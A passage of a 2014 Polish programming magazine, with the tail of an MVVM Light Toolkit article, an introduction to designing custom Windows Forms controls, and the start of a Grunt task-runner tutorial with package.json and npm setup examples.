Light Toolkit wszystkie zależności przekazujemy przez parametry konstruktora.

Testowanie komend sprowadza się do przetestowania metod 

Executed 

oraz 

CanExecute. W pierwszym przypadku sprawdzamy, czy serwis odpo-

wiedzialny za przetworzenie danych zwrócił odpowiedni obiekt. Dzięki temu, 
że komunikaty wyświetlane są z wnętrza viewmodelu przy pomocy przekaza-
nego mu wcześniej interface'u, możemy nawet sprawdzić, czy w określonych 
okolicznościach wyświetlone zostało właściwe okno dialogowe.

Przetestowanie 

CanExecuted sprowadza się do sprawdzenia spodziewa-

nego rezultatu na podstawie danego scenariusza testowego.

CO JESZCZE?

MVVM Light Toolkit – jak sama nazwa wskazuje - jest stosunkowo lekkim to-
olkitem. Oprócz wymienionych pomocnych elementów posiada on również 
wsparcie dla języka XAML w postaci obiektu o nazwie 

EventToCommand. 

Jeśli kontrolka posiada zdarzenie, które chcielibyśmy obsłużyć w viewmode-
lu, jako własność 

Command wystaczy ustawić wspomniany wcześniej obiekt 

(zwany też behaviorem).

Pozostałe elementy, które otrzymujemy wraz z toolkitem:

 

» Obsługa powiadomień: mechanizm zaimplementowany w postaci odpo-

wiednich klas, służący do komunikacji pomiędzy viewmodelami.

 

» DispatcherHelper – statyczna klasa ułatwiająca dostęp do wątku UI, po-

mocna zwłaszcza podczas pracy z wywoływaniami metod typu async/await

 

» Blendable – jest to wsparcie dla aplikacji Blend. Umożliwia łatwe projek-

towanie interfejsu użytkownika, drag'n'drop właściwości z viewmodelu, 
oraz pracę na żywo z danymi design-time. 

NA KONIEC

W cyklu artykułów opisaliśmy pewien zbiór podstaw programowania z pomo-
cą Windows Presentation Foundation. Mamy nadzieję, że ułatwią one począt-
kującemu programiście zaznajomienie się z tym frameworkiem. Zachęcamy 
też, aby poświęcić trochę czasu na praktyczne przećwiczenie opisanych w 
poprzednich artykułach zagadnień – w końcu sama wiedza nie wystarczy, aby 
stać się doświadczonym programistą.

Kody źródłowe wszystkich przykładowych programów dostępne są do 

ściągnięcia ze strony internetowej magazynu Programista.

Damian Jarosch

Programista C# z ośmioletnim stażem. Pasjonat technologii mobilnych, w szczególności 
Windows Phone oraz Xamarin (Monotouch i Monodroid). Aktywny freelancer. Programista 
w PGS Software.

W sieci

 

P Wzorce projektowe: 

http://pl.wikipedia.org/wiki/Wzorzec_projektowy_(informatyka)

 

P MVVM w aplikacjach WPF: 

http://msdn.microsoft.com/en-us/magazine/dd419663.aspx

 

P Presentation Model – prekursor MVVM: 

http://martinfowler.com/eaaDev/PresentationModel.html

 

P Opis MVVM: 

http://blogs.msdn.com/b/johngossman/archive/2005/10/08/478683.aspx

Wojciech Sura

wojciechsura@gmail.com

 

Programuje od przeszło dziesięciu lat w Delphi, C++ i C#, prowadząc również prywatne 
projekty. Obecnie pracuje w polskiej firmie PGS Software S.A., zajmującej się tworzeniem 
oprogramowania i aplikacji mobilnych dla klientów z całego świata.

background image

8

/ 6 

. 2014 . (25)  /

BIBLIOTEKI I NARZĘDZIA

Wojciech Sura

OD ZERA? DLACZEGO?

Pierwszym pytaniem, które zawsze warto zadać sobie przed zabraniem się 
za pisanie nowego komponentu, jest: „czy naprawdę potrzebuję napisać tę 
kontrolkę od zera?”. Współczesne internetowe repozytoria toną w ogromnej 
ilości kontrolek – od bardzo prostych, które na przykład zmieniają tylko wy-
gląd standardowego ich odpowiednika (przycisku, pola wyboru itp.), aż do 
bardzo zaawansowanych, oferujących szeroką funkcjonalność i możliwości 
dostosowania wyglądu oraz zachowania. Warto mieć na uwadze, że bardzo 
dużo wysokiej jakości kontrolek jest darmowych, a czasem wręcz udostęp-
nionych wraz ze źródłem na zasadach open source. Dlatego też przed zaka-
saniem rękawów warto sprawdzić najpierw, czy ktoś nie wykonał już pracy, 
której właśnie zamierzamy się podjąć.

Czasem zdarza się jednak, że skorzystanie z gotowego rozwiązania nie 

wchodzi w grę. Powodów może być dużo – zacznijmy choćby od budżetu: 
większość dużych firm specjalizujących się w pisaniu komponentów ceni się 
proporcjonalnie do jakości oferowanych przez nie produktów. Oznacza to, że 
ceny dużych pakietów kontrolek zaczynają się zwykle w okolicach $1000, a 
nierzadko za tę cenę otrzymujemy tylko licencję jednostanowiskową. Dru-
gim aspektem jest brak kontroli nad źródłem. Przypuśćmy na przykład, że 
zajdzie potrzeba rozszerzenia takiego komponentu o funkcjonalność, której 
na chwilę obecną nie oferuje. Możemy spróbować zwrócić się do producenta 
lub autora z prośbą o jej dodanie (z różnymi rezultatami) albo wykonać re-
verse-engineering kodu kontrolki i spróbować wstrzyknąć do niej tę funkcjo-
nalność samodzielnie (również z różnymi rezultatami). Piszę to bez przekąsu 
– przeanalizowanie kodu rzędu kilku lub kilkunastu tysięcy linii, a następnie 
rozszerzenie go tak, by nie zaburzyć filozofii przyświecającej pierwotnemu 
twórcy kontrolki, wcale nie jest prostym zadaniem.

Aspekt kontroli nad kodem źródłowym ma jeszcze inne oblicza. Na przy-

kład kontrolkę możemy zaprojektować tak, by nadać jej wstępnie konkretny 
kierunek rozwoju, aby przygotować ją do współpracy z innymi elementami 
pisanego przez nas systemu lub wyposażyć w mechanizmy, które uproszczą 
późniejsze rozszerzanie jej możliwości. Kontrolki komercyjne przeważnie są 
uniwersalne, co ma oczywiście swoje zalety, ale w niektórych przypadkach 
może przysporzyć nam też kłopotów.

Innym powodem, dla którego możemy zastanowić się nad napisaniem 

własnego komponentu od zera, może być również fakt, iż jest on na tyle spe-
cyficzny, że nikt do tej pory jeszcze takiego nie napisał (a jeśli nawet napi-
sał, to nie udostępnił). Zdarzyło mi się na przykład projektować komponenty 
wyświetlające dane pozyskiwane z prototypowego urządzenia medycznego. 

W tym przypadku nie było co liczyć na to, że znajdziemy gdzieś w Internecie 
gotowe rozwiązanie.

CASE STUDY

Jako case study mogę zaprezentować kilka kontrolek, które wyszły spod mo-
jej ręki, naświetlając jednocześnie okoliczności ich powstania.

SpkToolbar

Rysunek 1. SpkToolbar

Okoliczności powstania tej kontrolki nie były zbyt skomplikowane. W roku 

2007 Microsoft wprowadził do swoich produktów wstążkę (Ribbon). Kompo-
nent ten spotkał się z bardzo burzliwym przyjęciem – jedni od razu go po-
kochali, inni - znienawidzili. Czas i statystyki pokazały jednak, że w ogólnym 
rozrachunku wstążka się przyjęła, a Microsoft zaczął wprowadzać ją do coraz 
większej liczby swoich aplikacji, by w końcu stała się standardowym interfa-
cem systemu operacyjnego w Windows 8.

Wówczas programy pisałem jeszcze w Delphi, gdzie przez dłuższy czas 

wstążka nie była dostępna, a gdy wreszcie pojawiła się, to cieszyć nią mogli 
się tylko użytkownicy płatnych wersji środowiska. Ponieważ przez długi czas 
nie pojawił się żaden darmowy odpowiednik tego komponentu, usiadłem i 
zabrałem się za napisanie takiego od zera samodzielnie. Jak można się łatwo 
domyślić, nie udało mi się odtworzyć całej funkcjonalności – zaimplemento-
wałem tylko przyciski – ale równocześnie przygotowałem API kontrolki tak, 
by w łatwy sposób można było dodawać kolejne jej składniki. Zadbałem też 
o design-time support (edytory dla IDE) oraz o współpracę z resztą VCLa (na 
przykład możliwość przywiązywania akcji do przycisków).

Jako ciekawostkę dodam, że gdy zakończyłem przygodę z Delphi, zdecy-

dowałem się przekazać kody źródłowe kontrolki środowisku programistów 
Lazarusa. Tam znaleźli się ochotnicy, którzy popracowali trochę nad kodem, 
by kontrolka stała się w pełni obsługiwana przez to IDE, a obecnie znajduje się 
w oficjalnym repozytorium Lazarus Code and Component Repository, więc 
jeśli ktoś jest zainteresowany obejrzeniem źródeł, może swobodnie pobrać 
je z Internetu.

Projektowanie komponentów wizu-

alnych. Część 1: Wstęp

Przeważająca większość frameworków udostępnia pewien domyślny zestaw kontro-
lek wizualnych, przy pomocy których możemy zbudować interface naszej aplikacji. 
Wśród nich znajdziemy takie komponenty, jak przycisk, pole wyboru, pole opcji, lista 
itd. W przypadku przeciętnych aplikacji biznesowych, w których interakcja z użytkow-
nikiem sprowadza się do wprowadzania lub edycji danych, jest to zestaw w zupełności 
wystarczający. Sytuacja komplikuje się jednak nieco, gdy nasza aplikacja potrzebuje 
edytora lub podglądu jakiegoś specyficznego rodzaju danych. Z pomocą przychodzą 
wtedy internetowe repozytoria, w których możemy odnaleźć brakującą kontrolkę. 
Istnieje również inna opcja – możemy spróbować napisać taką kontrolkę samodzielnie. 
W nadchodzącej serii artykułów postaram się przybliżyć czytelnikom ten temat.

background image

9

/ www.programistamag.pl /

PROJEKTOWANIE KOMPONENTÓW WIZUALNYCH. CZĘŚĆ 1: WSTĘP

ProCalc

Rysunek 2. ProCalc

Drugim komponentem, który zaprojektowałem od zera, jest renderer wykre-
sów funkcji, który wykorzystywany jest w moim programie – kalkulatorze. 
Przypuszczam, że takich komponentów – zarówno płatnych, jak i darmo-
wych – udałoby się trochę w Internecie znaleźć, jednak w tym konkretnym 
przypadku nie wchodziły one w grę, ponieważ potrzebowałem bardzo ściśle 
zintegrować go z wewnętrznymi mechanizmami kalkulatora. Poza tym zajmo-
wałem się wtedy dosyć intensywnie DirectX-em i miałem ochotę poekspery-
mentować z tym API: cała funkcjonalność rysowania wykresu oddelegowana 
jest do natywnej biblioteki DLL, która wykresy rysuje przy pomocy Direct2D. 
Przypuszczam, że teraz nie zdecydowałbym się już na takie rozwiązanie, ale 
wtedy wydawało się to całkiem dobrym pomysłem.

Jeśli ktoś ma ochotę obejrzeć komponent w akcji, może poszukać w Inter-

necie programu ProCalc, jest on bezpłatnie dostępny na mojej stronie inter-
netowej, a także na Softpedii.

Virtual treeview

Rysunek 3. VirtualTreeView

Programiści Delphi znają z pewnością komponent VirtualTreeView autor-

stwa SoftGems. Jest on tak dobrze napisany i tak funkcjonalny, że CodeGear 
wykorzystał go podczas pisania niektórych wersji swojego IDE – możemy go 
zobaczyć na przykład w Borland Developer Studio 2005.

VirtualTreeView, poza ogromnymi możliwościami dostosowania tego, w jaki 

sposób wyświetlane są elementy drzewa, posiada pewną kluczową funkcjo-
nalność: jest wirtualne. Oznacza to, że nie przechowuje ono prezentowanych 
danych, tylko na bieżąco odpytuje o to, jaką ikonę i jaki tekst powinien mieć wy-
świetlany w danym momencie element. Pozwala to na olbrzymią oszczędność 
pamięci oraz eleganckie odseparowanie danych od ich prezentacji.

Spośród standardowych kontrolek udostępnianych przez Win32 API 

w trybie wirtualnym może pracować ListView (używany np. do wyświetlania 
plików w Eksploratorze). Niestety, Microsoft nie zdecydował się na udostęp-
nienie takiego trybu w komponencie TreeView, co zainspirowało mnie do 
zaimplementowania odpowiednika VirtualTreeView dla Windows Forms. Wy-
daje mi się, że cel został osięgnięty – oprogramowałem wszystkie najważniej-
sze funkcje pozwalające na normalne korzystanie z drzewa, zaś kod źródłowy 
udostępniłem w serwisie CodePlex (słowo kluczowe: Spk.Controls)

ProTranscriber

Rysunek 4. ProTranscriber

ProTranscriber jest programem, który nie ujrzał jeszcze światła dziennego 
– wciąż jest w fazie beta. Zamarzyło mi się kiedyś odzyskać kilka fortepiano-
wych akordów z pewnej piosenki, więc napisałem program, który znacznie 
mi w tym pomógł. Na zrzucie ekranu widać dwa moje komponenty: wykres 
widma dźwięku oraz klawiaturę wraz z wykresem częstotliwości.

Podgląd widma dźwięku jest takim rodzajem komponentu, który można zna-

leźć w Internecie; nie odnalazłem jednak żadnego darmowego, którego jakość by 
mnie usatysfakcjonowała. Cóż; kiedy pisze się programy hobbystycznie, przeważnie 
każda cena większa od 0 PLN jest argumentem wykluczającym użycie danej kon-
trolki. Napisałem więc własny, a było to o tyle ciekawe doświadczenie, że niosło ze 
sobą dosyć duże wyzwanie, o którym napiszę w jednym z następnych artykułów.

Klawiatura wraz z dopasowanym do niej wykresem częstotliwości jest 

z kolei komponentem zbyt specyficznym, by udało mi się znaleźć go w posta-
ci gotowej do użycia.

NodeLab

Rysunek 5. NodeLab

background image

10

/ 6 

. 2014 . (25)  /

BIBLIOTEKI I NARZĘDZIA

Zaprojektowania od zera wymagał również komponent w prywatnym 

projekcie, nad którym pracuję teraz – jest ściśle dopasowany do architektury 
programu, i w tym przypadku po prostu nie miałem innego wyjścia.

KIEDY NIE PISAĆ WŁASNYCH 

KONTROLEK?

W dwóch słowach: kiedy odpowiednia kontrolka już istnieje. Napisałem już 
o internetowych repozytoriach, ale jest jeszcze jeden aspekt tego kryterium: 
kontrolki standardowe. W sieci bez przerwy znajduję niewielkie programiki 
narzędziowe (na przykład konwertujące .flv do .avi albo pozwalające na pod-
gląd stylów muzycznych do keyboardów Yamahy), które wyposażone są w 
radosny, świecący w oczy interface użytkownika. Każdy przycisk, pole wybo-
ru, opcji, elementy menu renderowane są ręcznie, a nierzadko zdarza się też, 
że program wyposażony jest wręcz w mechanizm skórek, które pozwalają na 
globalną zmianę wizualnego tematu aplikacji. Podobnie jest również w przy-
padku aplikacji dostarczanych z urządzeniami, a więc narzędzi do kart siecio-
wych, tunerów TV czy drukarek.

Jestem zdecydowanym przeciwnikiem takich rozwiązań. Trzeba zawsze 

mieć na uwadze, że człowiek ma bardzo dużą tendencję do przyzwyczajania się 
do różnych rozwiązań. Kształt standardowych kontrolek zostaje zakodowany w 
pamięci, dzięki czemu potrzeba bardzo mało czasu, żeby odnaleźć się w oknie 
dialogowym, które korzysta z systemowego mechanizmu wyświetlania. Kiedy 
jednak zastosujemy alternatywny wygląd kontrolek, użytkownik będzie musiał 
najpierw poświęcić trochę czasu na zorientowanie się w samym wyglądzie apli-
kacji. W efekcie spowoduje to, że czas realizacji zadania wydłuży się o walkę z in-
terfacem użytkownika, a to jest jeden z kluczowych czynników, które decydują 
o ogólnym wrażeniu, jakie na użytkowniku zrobi nasza aplikacja.

Warto też popatrzeć na historię różnych aplikacji. Zacznijmy od systemu 

operacyjnego. Windows w swoich pierwszych wersjach dawał możliwość do-
stosowania wyglądu standardowych kontrolek. Na początku można było to 
zrobić przy pomocy osobnych aplikacji, a w Windows XP funkcjonalność ta 
została już wbudowana w system operacyjny. W praktyce jednak rzadko kiedy 
widziałem, by ktoś skorzystał z tej funkcji - przeważająca większość znanych 
mi użytkowników korzystała z domyślnego, niebieskiego lub szarego tematu 
albo wręcz wracała do tradycyjnego wyglądu okien. Microsoft musiał mieć po-
dobne spostrzeżenia, bo w późniejszych wersjach systemu zrezygnowano już 
z możliwości decydowania o wyglądzie elementów interface'u użytkownika.

Dosyć podobnie rzecz ma się na przykład z odtwarzaczami muzyki. Kiedyś 

królował nieśmiertelny Winamp, którego wygląd można było dosyć dowolnie 
zmieniać. Teraz najczęściej widuję ascetycznego FooBara, VLC Playera, który 
korzysta ze standardowego schematu systemowego, albo Windows Media 
Playera w swoim standardowym wyglądzie.

Oczywiście istnieje też wiele aplikacji, które wyłamują się ze schematu i 

korzystają z własnego zestawu kontrolek (częściowo lub całkowicie). Na przy-
kład Google Chrome ma interface znacząco różniący się od standardowego, 
systemowego; podobnie jest też na przykład z aplikacjami z pakietu Office. 
Pamiętajmy jednak, że w przypadku takich aplikacji nad ich wyglądem pra-
cuje sztab specjalistów, którzy wiedzą, jak zaprojektować kontrolki, by były 
estetyczne i jednocześnie nie wchodziły w drogę użytkownikowi, który będzie 
z nich korzystał.

KOPIUJ, WKLEJ

Sytuacja, w której mamy pod ręką grafika i specjalistę od UX, jest sytuacją ide-
alną. Dostaniemy wtedy gotowy design odpowiednich kontrolek i pozosta-
nie nam tylko ich zaimplementowanie. Niestety jednak w życiu bywa różnie 
i często zdarza się, że to programista jest osobą, która będzie musiała zadbać 
o wygląd aplikacji. Dzieje się tak najczęściej w przypadku aplikacji pisanych 
hobbystycznie (co, niestety, często kończy się powstaniem potworków, o któ-
rych wspominałem wcześniej).

Moja rada w takim przypadku jest bardzo prosta: przyjrzyjmy się już istnie-

jącym aplikacjom i elementom interface'u użytkownika i kopiujmy pomysły bez 

skrępowania! Oczywiście w miarę możliwości: tak, aby nie popełnić plagiatu 
albo nie złamać jakiegoś patentu. Na szczęście w większości przypadków spra-
wa rozbija się o detale, a te są zbyt małe, by można było się o nie procesować.

Dlaczego podchodzę do sprawy w taki sposób? To proste: jeśli nawet je-

stem dobrym programistą, to grafik ze mnie żaden. Jednocześnie wiem, że 
nad wyglądem większości dużych aplikacji pracowało grono specjalistów – 
powielając ich pomysły, mam możliwość zaprojektowania estetycznych kon-
trolek, samemu nie mając na ten temat zbyt dużej wiedzy. W jednym z następ-
nych artykułów postaram się zaprezentować kilka prostych pomysłów, które 
można wykorzystać, by uatrakcyjnić projektowane przez siebie kontrolki.

RODZAJE KOMPONENTÓW

Na poziomie architektury komponenty wizualne możemy podzielić na dwie 
kategorie: komponenty kompozytowe i – z braku lepszego określenia – nie-
standardowe (custom).

Komponenty kompozytowe stanowią złożenie (kompozycję) kilku innych 

komponentów. Przykładowo załóżmy, że w naszej aplikacji bardzo często ko-
rzystamy z pól do wpisywania nazwy użytkownika i hasła. Aby zapewnić jed-
nolity interface użytkownika (a jednocześnie ułatwić sobie pracę), możemy 
zbudować komponent kompozytowy zawierający dwa pola tekstowe i dwie 
etykiety, którego będziemy mogli potem użyć w wielu innych miejscach.

Komponowanie kontrolek ma swoje wady i zalety. Do tych ostatnich na-

leży z pewnością fakt, że w ten sposób ujednolicamy interface użytkownika 
– komponent użyty w każdym miejscu aplikacji będzie wyglądał tak samo. 
Ponadto, jeśli zdecydujemy się na to, aby ten wygląd zmienić, odpowiednią 
zmianę wystarczy zrobić tylko w jednym miejscu. Drugim plusem jest moż-
liwość zaszycia w takiej kontrolce dodatkowej funkcjonalności, na przykład 
wstępnej walidacji nazwy użytkownika lub długości oraz jakości hasła. Mo-
żemy też zadbać o to, aby komunikacja pomiędzy komponentem a innymi 
elementami formatki była odcięta od jego zawartości. Mam na myśli to, że 
nazwę użytkownika i hasło możemy wyprowadzić poprzez własności takiego 
komponentu – jego użytkownicy nie muszą przejmować się tym, że są one 
wewnętrznie transportowane do pól tekstowych. Dzięki temu, gdy później 
zajdzie taka potrzeba, pole tekstowe możemy na przykład wymienić na listę 
rozwijaną z opcją edycji – i znów zmianę będzie wystarczyło wprowadzić tylko 
w jednym miejscu.

Wadą kontrolek kompozytowych jest to, że jesteśmy w dużym stopniu ogra-

niczeni, jeśli chodzi o ich funkcjonalność. Jest tak dlatego, że możemy korzystać 
tylko z już istniejących kontrolek: nierealne jest na przykład przygotowanie 
komponentu kompozytowego wyświetlającego widmo dźwięku albo wykres 
funkcji (choć w niektórych frameworkach nie jest to do końca prawda, ale o tym 
za chwilę). Drugim problemem jest to, że z perspektywy użytkownika mamy 
niewielki wpływ na to, w jaki sposób komponent kompozytowy działa we-
wnątrz. Komponent taki nie jest bowiem traktowany przez framework na osob-
nych zasadach – dla niego jest to po prostu kilka kontrolek ułożonych na innej, 
będącej kontenerem. Jeśli więc na przykład twórca komponentu nie zadba o to, 
aby wewnętrzne kontrolki miały ustawiony właściwy tab-order (czyli kolejność 
zmiany fokusu podczas przełączania klawiszem tab), to jesteśmy już na niego 
skazani. Problem ten dotyczy wszystkich tych aspektów, które wynikają ze spo-
sobu, w jaki kontrolki komunikują się z frameworkiem.

Kontrolki niestandardowe z kolei to te, które są projektowane przez pro-

gramistę od zera. W dużym skrócie dostaje on pewien prostokątny obszar, po 
którym może rysować, oraz jest informowany o pewnym zbiorze zdarzeń, któ-
re zachodzą w obrębie tego obszaru (na przykład ruchy i kliknięcia myszy, wci-
skanie przycisków na klawiaturze w momencie, gdy kontrolka ma fokus itp.), 
i to wszystko: całą interakcję musi on opracować praktycznie od zera. Przygo-
towanie kontrolki niestandardowej wymaga znacznie więcej pracy i uwagi od 
programisty, ale ma tę zaletę, że ma on całkowitą dowolność w zakresie tego, 
w jaki sposób kontrolka taka będzie funkcjonowała. Przeważająca większość 
artykułów z tej serii omawiać będzie tematykę programowania kontrolek nie-
standardowych. Na marginesie: wszystkie kontrolki zaprezentowane na zrzu-
tach ekranu są kontrolkami niestandardowymi.

background image

11

/ www.programistamag.pl /

PROJEKTOWANIE KOMPONENTÓW WIZUALNYCH. CZĘŚĆ 1: WSTĘP

Istnieją takie frameworki, które w pewnym stopniu pozwalają połączyć 

cechy kontrolek kompozytowych i niestandardowych. Polega to na tym, że 
w zestawie standardowych kontrolek istnieją takie, które z założenia służą do 
tego, by składać z nich bardziej zaawansowane komponenty – na przykład w 
bibliotece Windows Presentation Foundation znajdziemy takie kontrolki, jak 
Border (ramka) czy Path (ścieżka). Korzystanie z takiej metody projektowa-
nia pociąga niestety za sobą wszystkie wady kontrolek kompozytowych – na 
przykład może się zdarzyć, że po umieszczeniu obrazka na przycisku będzie 
on funkcjonował jako pełnoprawny komponent i będzie otrzymywał fokus 
(co oczywiście jest okolicznością niepożądaną). Z drugiej strony jednak po-
zwala na stosunkowo precyzyjne zaprojektowanie wyglądu kontrolki w bar-
dzo wygodny i niewymagający dużego wysiłku sposób (w przypadku WPFa 
sprowadza się to do opisania kontrolki w opartym na XMLu języku XAML).

JAK PROJEKTOWAĆ KONTROLKI?

Zanim zabierzemy się za pisanie kodu, dobrze jest zastanowić się wcześniej, 
jak dana kontrolka będzie wyglądać oraz w jaki sposób będzie prowadzona 
interakcja z użytkownikiem. Istnieje kilka obszarów, na które należy zwrócić 
uwagę w sposób szczególny.

Wygoda użytkowania

Z kontrolkami jest podobnie jak z rzeczywistymi przedmiotami: oczekujemy 
od nich, aby były funkcjonalne i wygodne w użytkowaniu – do tego nie trzeba 
chyba nikogo przekonywać. Istotnym aspektem jest tu jednak również kwestia 
zachowywania pewnych standardów. Na przykład, jeśli w zakresie funkcjonal-
ności naszej kontrolki przewidujemy możliwość zaznaczania elementów, to o ile 
nie koliduje to ze specyfiką wyświetlanych danych, dobrze jest udostępnić użyt-
kownikowi zwykłe zaznaczenie prostokątne oraz uwzględnić przyciski Ctrl (do-
dawanie i usuwanie z zaznaczenia) oraz Shift (zaznaczenie zakresu elementów). 
Zastosowanie innego mechanizmu może doprowadzić do tego, że użytkownik 
po prostu nie będzie wiedział, jak naszej kontrolki użyć.

Wygoda użytkowania odnosi się również do programisty, który będzie ko-

rzystał z tej kontrolki. Warto więc pomyśleć podczas projektowania o tym, aby 
API kontrolki było funkcjonalne, elastyczne i czytelne.

Wydajność

Nieresponsywne programy są irytujące, a jedną z przyczyn nieresponsywnych 
programów są nieresponsywne kontrolki. Dobrze napisana kontrolka powin-
na realizować wszystkie zadania natychmiast; czasami wystarczy oddelego-
wać długie zadanie do osobnego wątku, ale zdarza się też, że trzeba uciec się 
do bardziej wyrafinowanych rozwiązań.

Estetyka

Można dosyć bezpiecznie oszacować, że sam wygląd (odcięty od funkcjo-
nalności, niezawodności i tak dalej) programu składa się na 80% pierwszego 
wrażenia użytkownika. Stare przysłowie mówi, że nie da się zrobić drugiego 

pierwszego wrażenia, więc warto dołożyć starań, aby wypadło ono jak naj-
korzystniej. Poza tym jest bardzo prawdopodobne, że nasze programy będą 
użytkowane przez kogoś na co dzień – dlaczego nie umilić mu pracy estetycz-
nym interfacem?

Niezawodność

Myślę, że i ten punkt nie wymaga szerokiego komentarza, a jest szczególnie 
ważny, gdy naszej kontrolki będą używały osoby trzecie. Jest tak dlatego, że 
komponent jest osobnym, zamkniętym fragmentem aplikacji. Jeśli pojawią 
się w nim błędy, to zwykle jedyną opcją jest kontakt z autorem, ponieważ na-
wet wówczas, gdy dostępny jest kod źródłowy, jego analiza, diagnoza proble-
mu i późniejsze naprawianie znacząco utrudnia pracę użytkownikowi kompo-
nentu (o ile w ogóle się za to zabierze).

WYMAGANIA WSTĘPNE

Co trzeba wiedzieć, aby zabrać się za pisanie własnych kontrolek? Po pierwsze, 
konieczna jest już pewna wiedza na temat frameworka, w którym pracujemy: 
nie jest to na pewno zajęcie dla osób rozpoczynających dopiero przygodę z 
programowaniem. W niniejszym cyklu będziemy korzystać z Windows Forms, 
czyli w praktyce – Win32 API. Nie jest to być może framework ostatnio bardzo 
popularny, ale świetnie nadaje się do nauki pisania własnych komponentów, 
ponieważ jest dosyć prosty, stosunkowo wydajny i udostępnia wszystko, cze-
go potrzebujemy do pracy. Poza tym dużo pomysłów i algorytmów, które 
będę prezentował, jest całkowicie niezależnych od konkretnego framewor-
ka, więc łatwo będzie je przenieść do innych środowisk albo nawet języków 
programowania.

Doświadczenie podpowiada mi, że warto odświeżyć trochę swoją wiedzę 

z matematyki – głównie z geometrii w układzie współrzędnych. Samo ryso-
wanie kontrolek nie wymaga tej wiedzy zbyt wiele, ale w momencie, gdy za-
czniemy oprogramowywać interakcję z użytkownikiem, okaże się, że będzie 
ona bardzo przydatna.

Bardzo przydaje się również odrobina zmysłu artystycznego – choćby w 

kwestii doboru kolorów oraz stosowania różnych efektów wizualnych. Ale i 
bez niego można się obyć – postaram się zaprezentować w późniejszych ar-
tykułach kilka sztuczek, które niewielkim kosztem pozwolą osiągnąć całkiem 
efektowne rezultaty.

Nie ukrywam, że bardzo zalecaną cechą jest też cierpliwość: miejmy cały 

czas na uwadze, że każdy pojedynczy piksel musimy narysować sami; każdą 
pojedynczą interakcję z użytkownikiem musimy zaprogramować sami; każdy 
element API kontrolki musimy napisać sami! Nie raz zdarzało mi się pracować 
pod powiększeniem x8 (chwała temu, kto wymyślił skróty Win+Num plus, Wi-
n+Num minus), żeby wyśledzić „wyciekające” piksele.

CO DALEJ?

Tym sposobem zakończyliśmy wprowadzenie do projektowania kontrolek wi-
zualnych. W następnej części spróbujemy napisać dwa proste komponenty: 
jeden kompozytowy, zaś drugi – niestandardowy.

Wojciech Sura

wojciechsura@gmail.com

 

Programuje od przeszło dziesięciu lat w Delphi, C++ i C#, prowadząc również prywatne 
projekty. Obecnie pracuje w polskiej firmie PGS Software S.A., zajmującej się tworzeniem 
oprogramowania i aplikacji mobilnych dla klientów z całego świata.

background image

12

/ 6 

. 2014 . (25)  /

BIBLIOTEKI I NARZĘDZIA

Kacper Cyran

L

ata mijają, a znaczenie JavaScriptu ciągle rośnie. Społeczność wzbogaciła 
się o wiele open-sourcowych narzędzi, dzięki którym praca front-end de-
veloperów stała się przyjemniejsza oraz bardziej efektywna. Jednym z nich 

jest

 Grunt, który zautomatyzuje za Ciebie powtarzalne zadania. Używasz kompi-

latorów CSS, łączysz obrazki w sprite'y, by przyspieszyć ładowanie strony? Mini-
fikujesz, łączysz i kompilujesz pliki JS? A może chcesz na bieżąco oglądać swoją 
prace w przeglądarce? Jeśli tak, to czytaj dalej. Ten artykuł jest dla Ciebie!

CZYM JEST GRUNT?

Projekt powstał w oparciu o platformę node.js oraz package manager npm. 
Grunt to dedykowany głównie developerom front-endu „JavaScript Task Run-
ner”, czyli manager zadań dostępny z wiersza poleceń. Idea projektu jest bar-
dzo prosta, pomaga zautomatyzować czynności cyklicznie powtarzane, tak 
zwane „taski”. W przypadku front-endu może to być kompresja CSS i JS, testy 
jednostkowe czy kompilacja CoffeScript.

DLACZEGO WARTO UŻYWAĆ GRUNTA?

Czasy, w których królował jQuery i CSS bez kompilacji, minęły bezpowrotnie, 
proces wytwarzania nawet prostych stron internetowych jest skomplikowany 
i wymaga wielu narzędzi wspomagających.

Podstawowy powód to prosta i bezproblemowa automatyzacja wszyst-

kich nudnych procesów tworzenia oprogramowania. Dodatkową zaletą jest 
uniezależnienie się od platformy, na której pracuje developer, czy różnych 
wersji oprogramowania. Dzięki npm i Gruntowi wszyscy developerzy pracują 
w jednolitym i spójnym środowisku niezależnym od platformy i środowiska 
programistycznego.

Dodatkowo instalacja całego managera jest bardzo prosta i szybka.
Główne korzyści:

 

» efektywność – pełna automatyzacja pozwala w dłuższym rozrachunku 

zaoszczędzić całe godziny, dni i tygodnie pracy, wprowadzanie zmian nie 
będzie tak kosztowne, a developer zajmuje się tylko tym, co lubi;

 

» konsekwencja – wykonania tej samej rzeczy – proces budowania projektu 

będzie zawsze taki sam, bez względu na pogodę, humor czy stan psycho-
fizyczny developera;

 

» społeczność – cała paleta pomocnych tasków dostępna na licencjach 

open-source, ponad 1900 pluginów do Grunta;

 

» elastyczność – większość pluginów ma na tyle elastyczną konfigurację, że 

możemy bez problemu dostosować je do swojego projektu;

 

» jakość – oszczędzając czas, można skupić się w większej mierze na jakości 

wytwarzanego oprogramowania.

PIERWSZA INSTALACJA 

I KONFIGURACJA

Wskazówka dla osób, które do tej pory nie miały do czynienia z node.js i npm, 
instalacja jest bardzo prosta:

W przypadku systemu Ubuntu: 

sudo apt-get install npm

Użytkownicy Windowsa cały pakiet mogą ściągnąć ze strony: 

http://nodejs.org/download

.

Po instalacji inicjalizujemy pakiet npm, który wykona za nas wstępną konfigu-
rację modułów potrzebnych do działania managera.

W katalogu głównym projektu tworzymy plik package.json, w którym za-

pisujemy zależności, przechowuje on wszystkie dane na temat wymaganych 
modułów, ale również metadanych naszego projektu takich, jak: nazwa, wersja, 
opis, autor, lub repozytoria. Więcej na 

https://npmjs.org/doc/json.html

.

{

"

name

"

:

 

"

Grunt test - SMSAPI.pl

"

,

"

version

"

:

 

"

0.0.1

"

,

"

description

"

:

 

"

Testowy plik package.json

"

,

"

author

"

:

 

"

Kacper Cyran - SMSAPI.pl

"

,

"

license

"

:

 

"

MIT

"

,

"

devDependencies

"

:

 

{

}

}

W przypadku kiedy dostaliśmy gotowy plik package.json, wpisujemy po-

lecenie: 

npm install.

Kolejnym krokiem jest instalacja i dodanie pakietu Grunta do listy wyma-

ganych moduów: 

npm install grunt-cli --save-dev.

Komenda 

--save-dev automatycznie dopisuje Grunta do zależności 

w pliku package.json.

{

...

"

devDependencies

"

:

 

{

"

grunt-cli

"

:

 

"

~0.1.9

"

,

}

...

}

Tworzymy dodatkowy plik grunt, aby ułatwić sobie pracę nad projektem.

#!

/bin/sh

.

/node_modules/

.

bin/grunt

 

"$@"

Notatki

* w IDE, w którym pracujemy, zalecam dodać do ignorowanych folder 
./node_modules ze względu na dużą ilość plików ściąganych przez npm.
